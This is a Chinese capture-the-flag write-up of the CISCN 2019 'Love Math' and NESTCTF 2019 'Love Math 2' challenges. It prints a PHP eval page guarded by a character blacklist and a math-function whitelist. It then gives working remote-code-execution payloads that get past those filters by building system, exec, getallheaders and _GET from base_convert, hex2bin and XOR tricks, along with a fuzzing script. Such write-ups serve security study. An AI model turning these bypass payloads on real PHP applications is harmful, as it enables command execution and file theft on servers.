[BUUOJ記錄] [CISCN 2019 初賽]Love Math & [NESTCTF 2019]Love Math 2

主要考察利用已有函數構造危險函數繞過，實現RCE。

進入題目給出源碼：

<?php
error_reporting(0);
//聽說你很喜歡數學，不知道你是否愛它勝過愛flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {   //[NESTCTF 2019]Love Math2這里限制長度為60，用本題的異或Payload即可
        die("太長了不會算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("請不要輸入奇奇怪怪的字符");
        }
    }
    //常用數學函數http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("請不要輸入奇奇怪怪的函數");
        }
    }
    //幫你算出答案
    eval('echo '.$content.';');
} 

 

拿到題目先分析一下限制條件：

1.參數c字符數不能超過80個字符

2.不能含有空格，\t，\r，\n，\，單雙引號，中括號

3.使用的單詞/函數必須在白名單中

限制其實比較嚴，那么就看看我們可以使用的一些符號 $ ( ) { } = ; ^ 等，同時我們需要知道的是PHP中函數名也是字符串，可以當作變量名來使用，例如  $pi、$cos 都是合法變量名。

從可以使用的符號中，我們考慮的思路可以是利用數學函數構造變量拼接成動態函數執行命令，也可以考慮使用異或來拼接出函數名。

總之重點就在於湊出函數或者是可以執行的命令。

前置知識點

PHP函數：

scandir() 函數：返回指定目錄中的文件和目錄的數組。
base_convert() 函數：在任意進制之間轉換數字。
dechex() 函數：把十進制轉換為十六進制。
hex2bin() 函數：把十六進制值的字符串轉換為 ASCII 字符。
var_dump() ：函數用於輸出變量的相關信息。
readfile() 函數：輸出一個文件。該函數讀入一個文件並寫入到輸出緩沖。若成功，則返回從文件中讀入的字節數。若失敗，則返回 false。您可以通過 @readfile() 形式調用該函數，來隱藏錯誤信息。
語法：readfile(filename,include_path,context)

 

動態(可變)函數

PHP中可以把函數名通過字符串的方式傳遞給一個變量，然后通過此變量動態調用函數，例如： $a = "assert"; $a."(...)"; 

PHP 支持可變函數的概念。這意味着如果一個變量名后有圓括號，PHP 將尋找與變量的值同名的函數，並且嘗試執行它。可變函數可以用來實現包括回調函數，函數表在內的一些用途。  可變函數不能用於例如 eval() ， echo ， print ， unset() ， isset() ， empty() ， include() ， require()  以及類似的語言結構。需要使用自己的包裝函數來將這些結構用作可變函數。

 

php中函數名默認為字符串

例如本題白名單中的asinh和pi可以直接異或，這就增加了構造字符的選擇

 

引用自https://www.cnblogs.com/wangtanzhi/p/12246731.html

利用數學函數運算得到函數和命令

先說第一種思路，我們可以利用數學函數來運算得到函數名和命令，使用動態函數來執行命令

拼湊出_GET利用其他參數RCE

/index.php?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=<command>

分析：

base_convert(37907361743,10,36) => "hex2bin"
dechex(1598506324) => "5f474554"
$pi=hex2bin("5f474554") => $pi="_GET"   //hex2bin將一串16進制數轉換為二進制字符串
($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs}  //{}可以代替[]

 拼湊出getallheaders利用HeaderRCE

getallheaders — 獲取全部 HTTP 請求頭信息

getallheaders用法可以參考:https://www.php.net/manual/zh/function.getallheaders.php

/index.php?c=$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})

在HTTP請求的Header中直接添加命令即可

分析：

base_convert(696468,10,36) => "exec"
$pi(8768397090111664438,10,30) => "getallheaders"
exec(getallheaders(){1})
//操作xx和yy，中間用逗號隔開，echo都能輸出
echo xx,yy

 拼湊出exec、system等命令執行函數直接RCE

/index.php?c=($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))
//分析：exec('hex2bin(dechex(109270211257898))') => exec('cat f*')

/index.php?c=base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))
//分析：system('cat'.dechex(16)^asinh^pi) => system('cat *')

利用異或得到函數名和命令

放出Mustapha Mond師傅的Fuzz腳本：

<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh',  'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
    for($i = 0;$i < 9; $i++){
        for($j = 0;$j <=9;$j++){
            $exp = $payload[$k] ^ $i.$j;
            echo($payload[$k]."^$i$j"."==>$exp");
            echo "<br />";
        }
    }
}

利用該腳本我們可以利用異或構造出Payload：

/index.php?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=<command>

 [NESTCTF 2019]Love Math 2限制字符長度為60，用異或的Payload即可讀取，兩道題核心考點都是一樣的

 

參考鏈接:

https://www.cnblogs.com/20175211lyz/p/11588219.html

https://www.cnblogs.com/wangtanzhi/p/12246731.html